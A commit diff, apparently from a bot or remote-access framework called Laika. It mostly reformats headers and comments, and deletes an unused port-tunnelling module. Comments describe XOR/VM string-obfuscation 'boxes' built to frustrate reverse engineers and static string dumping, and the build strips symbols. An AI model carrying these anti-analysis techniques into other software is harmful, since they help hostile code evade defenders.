mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-25 20:30:05 +00:00
misc. refactoring, updated comments and minor documentation
This commit is contained in:
parent
e3a1f51d60
commit
c4fc1a1fe6
@ -30,7 +30,7 @@ target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
# add include directory
|
||||
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
||||
|
||||
# strip symbols for POSIX-like binaries
|
||||
# strip symbols for UNIX binaries
|
||||
if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
|
||||
message(STATUS "Stripping LaikaBot symbols...")
|
||||
target_link_options(LaikaBot PRIVATE -s)
|
||||
|
@ -1,8 +1 @@
|
||||
There are some unused features and boilerplate. The unused files include:
|
||||
- ltunnel.h
|
||||
- ltunnel.c
|
||||
- lbox.h
|
||||
- lvm.h
|
||||
- lvm.c
|
||||
|
||||
These files can be safely removed from the library.
|
||||
-- stubbed, see CONTRIBUTING.md for notes on the library
|
@ -25,10 +25,11 @@ enum {
|
||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
||||
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
||||
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
||||
dumping. Some predefined boxes are made for you to use.
|
||||
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
|
||||
|
||||
Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`).
|
||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
|
||||
however for the time being only LAIKA_BOX_SKID_* is implemented.
|
||||
*/
|
||||
|
||||
struct sLaikaB_box {
|
||||
@ -62,7 +63,7 @@ struct sLaikaB_box {
|
||||
|
||||
/* ==============================================[[ Laika Boxes ]]=============================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) { \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
@ -110,7 +111,7 @@ LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) {
|
||||
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||
#include "lboxconfig.h"
|
||||
|
||||
#endif
|
@ -21,13 +21,13 @@ typedef enum {
|
||||
} OSTYPE;
|
||||
|
||||
#ifdef _WIN32
|
||||
#define LAIKA_OSTYPE OS_WIN
|
||||
# define LAIKA_OSTYPE OS_WIN
|
||||
#else
|
||||
#ifdef __linux__
|
||||
#define LAIKA_OSTYPE OS_LIN
|
||||
#else
|
||||
#define LAIKA_OSTYPE OS_UNKNWN
|
||||
#endif
|
||||
# ifdef __linux__
|
||||
# define LAIKA_OSTYPE OS_LIN
|
||||
# else
|
||||
# define LAIKA_OSTYPE OS_UNKNWN
|
||||
# endif
|
||||
#endif
|
||||
|
||||
struct sLaika_peer;
|
||||
@ -39,7 +39,6 @@ struct sLaika_peerPacketInfo {
|
||||
bool variadic;
|
||||
};
|
||||
|
||||
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||
|
||||
struct sLaika_peer {
|
||||
|
@ -4,49 +4,49 @@
|
||||
/* socket/winsock headers */
|
||||
#ifdef _WIN32
|
||||
/* windows */
|
||||
#ifndef NOMINMAX
|
||||
#define NOMINMAX
|
||||
#endif
|
||||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <ws2tcpip.h>
|
||||
#pragma comment(lib, "Ws2_32.lib")
|
||||
# ifndef NOMINMAX
|
||||
# define NOMINMAX
|
||||
# endif
|
||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
# include <winsock2.h>
|
||||
# include <windows.h>
|
||||
# include <ws2tcpip.h>
|
||||
# pragma comment(lib, "Ws2_32.lib")
|
||||
|
||||
typedef char buffer_t;
|
||||
#define PollFD WSAPOLLFD
|
||||
#define poll WSAPoll
|
||||
#define LN_ERRNO WSAGetLastError()
|
||||
#define LN_EWOULD WSAEWOULDBLOCK
|
||||
#define LN_MSG_NOSIGNAL 0
|
||||
#define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
#define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
typedef char buffer_t;
|
||||
# define PollFD WSAPOLLFD
|
||||
# define poll WSAPoll
|
||||
# define LN_ERRNO WSAGetLastError()
|
||||
# define LN_EWOULD WSAEWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL 0
|
||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
#else
|
||||
/* posix platform */
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <poll.h>
|
||||
#ifdef __linux__
|
||||
#include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
#define MAX_EPOLL_EVENTS 128
|
||||
#define LAIKA_USE_EPOLL
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
# include <sys/types.h>
|
||||
# include <sys/socket.h>
|
||||
# include <netdb.h>
|
||||
# include <netinet/in.h>
|
||||
# include <arpa/inet.h>
|
||||
# include <poll.h>
|
||||
# ifdef __linux__
|
||||
# include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
# define MAX_EPOLL_EVENTS 128
|
||||
# define LAIKA_USE_EPOLL
|
||||
# endif
|
||||
# include <unistd.h>
|
||||
# include <errno.h>
|
||||
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
#define PollFD struct pollfd
|
||||
#define LN_ERRNO errno
|
||||
#define LN_EWOULD EWOULDBLOCK
|
||||
#define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKETINVALID(x) (x < 0)
|
||||
#define SOCKETERROR(x) (x == -1)
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
# define PollFD struct pollfd
|
||||
# define LN_ERRNO errno
|
||||
# define LN_EWOULD EWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
# define INVALID_SOCKET -1
|
||||
# define SOCKETINVALID(x) (x < 0)
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
|
@ -1,34 +0,0 @@
|
||||
#ifndef SHELLTUNNEL_H
|
||||
#define SHELLTUNNEL_H
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "lmem.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
|
||||
struct sLaika_tunnel;
|
||||
struct sLaika_tunnelConnection {
|
||||
struct sLaika_socket sock;
|
||||
struct sLaika_tunnel *tunnel;
|
||||
struct sLaika_tunnelConnection *next;
|
||||
uint16_t id;
|
||||
};
|
||||
|
||||
struct sLaika_tunnel {
|
||||
struct sLaika_tunnelConnection *connectionHead;
|
||||
struct sLaika_peer *peer;
|
||||
uint16_t port;
|
||||
};
|
||||
|
||||
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
|
||||
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
|
||||
|
||||
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
||||
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
|
||||
|
||||
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
|
||||
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
||||
|
||||
#endif
|
@ -1,170 +0,0 @@
|
||||
#include "lmem.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "ltunnel.h"
|
||||
|
||||
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
|
||||
struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
|
||||
|
||||
tunnel->port = port;
|
||||
tunnel->peer = peer;
|
||||
tunnel->connectionHead = NULL;
|
||||
}
|
||||
|
||||
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
|
||||
struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
|
||||
struct sLaika_socket *sock = &tunnel->peer->sock;
|
||||
|
||||
/* free & close connections */
|
||||
while (con != NULL) {
|
||||
last = con;
|
||||
con = con->next;
|
||||
|
||||
/* free connection */
|
||||
laikaT_freeConnection(last);
|
||||
}
|
||||
|
||||
/* tell peer tunnel is closed */
|
||||
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
|
||||
laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
|
||||
laikaS_endOutPacket(tunnel->peer);
|
||||
|
||||
/* finally, free the tunnel */
|
||||
laikaM_free(tunnel);
|
||||
}
|
||||
|
||||
bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
|
||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||
struct sLaika_tunnel *tunnel = con->tunnel;
|
||||
struct sLaika_peer *peer = tunnel->peer;
|
||||
int recvd;
|
||||
|
||||
/* read data */
|
||||
switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
|
||||
case RAWSOCK_OK: /* we're ok! forward data to peer */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
|
||||
laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
|
||||
laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
|
||||
|
||||
/* write data we just read, from sock's inBuf to sock's out */
|
||||
laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
|
||||
laikaS_consumeRead(&peer->sock, recvd);
|
||||
|
||||
/* end variadic packet */
|
||||
laikaS_endVarPacket(peer);
|
||||
default: /* panic! */
|
||||
case RAWSOCK_CLOSED:
|
||||
case RAWSOCK_ERROR:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
|
||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||
struct sLaika_peer *peer = con->tunnel->peer;
|
||||
int sent;
|
||||
|
||||
if (peer->sock.outCount == 0) /* sanity check */
|
||||
return true;
|
||||
|
||||
switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
|
||||
case RAWSOCK_OK: /* we're ok! */
|
||||
/* if POLLOUT was set, unset it */
|
||||
laikaP_rmvPollOut(peer->pList, &con->sock);
|
||||
|
||||
return true;
|
||||
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
||||
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
||||
laikaP_addPollOut(peer->pList, &con->sock);
|
||||
|
||||
return true;
|
||||
default: /* panic! */
|
||||
case RAWSOCK_CLOSED:
|
||||
case RAWSOCK_ERROR:
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||
|
||||
/* kill connection on failure */
|
||||
laikaT_freeConnection(con);
|
||||
}
|
||||
|
||||
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
|
||||
|
||||
/* we handle the socket events */
|
||||
laikaS_initSocket(&con->sock,
|
||||
laikaT_handlePeerIn,
|
||||
laikaT_handlePeerOut,
|
||||
laikaT_onPollFail,
|
||||
NULL
|
||||
);
|
||||
|
||||
laikaS_setNonBlock(&con->sock);
|
||||
|
||||
con->tunnel = tunnel;
|
||||
con->next = NULL;
|
||||
con->id = id;
|
||||
|
||||
/* insert into connection list */
|
||||
if (tunnel->connectionHead == NULL) {
|
||||
tunnel->connectionHead = con;
|
||||
return con;
|
||||
} else {
|
||||
last = tunnel->connectionHead;
|
||||
tunnel->connectionHead = con;
|
||||
con->next = last;
|
||||
}
|
||||
}
|
||||
|
||||
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
|
||||
struct sLaika_tunnel *tunnel = connection->tunnel;
|
||||
struct sLaika_tunnelConnection *curr, *last = NULL;
|
||||
|
||||
curr = tunnel->connectionHead;
|
||||
/* while we haven't reached the end of the list & we haven't found our connection */
|
||||
while (curr && curr != connection) {
|
||||
last = curr;
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
if (last) {
|
||||
/* unlink from list */
|
||||
last->next = connection->next;
|
||||
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
|
||||
tunnel->connectionHead = connection->next;
|
||||
}
|
||||
|
||||
/* tell peer connection is removed */
|
||||
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
|
||||
laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
|
||||
laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
|
||||
laikaS_endOutPacket(tunnel->peer);
|
||||
|
||||
/* finally, free our connection */
|
||||
laikaS_kill(&connection->sock);
|
||||
}
|
||||
|
||||
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
|
||||
struct sLaika_tunnel *tunnel = connection->tunnel;
|
||||
|
||||
/* write data to socket, push to pollList's out queue */
|
||||
laikaS_write(&connection->sock, data, sz);
|
||||
laikaP_pushOutQueue(pList, &connection->sock);
|
||||
}
|
||||
|
||||
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
||||
struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
|
||||
|
||||
/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
|
||||
while (curr && curr->id != id)
|
||||
curr = curr->next;
|
||||
|
||||
/* returns NULL if not found, or the found connection :) */
|
||||
return curr;
|
||||
}
|
Loading…
Reference in New Issue
Block a user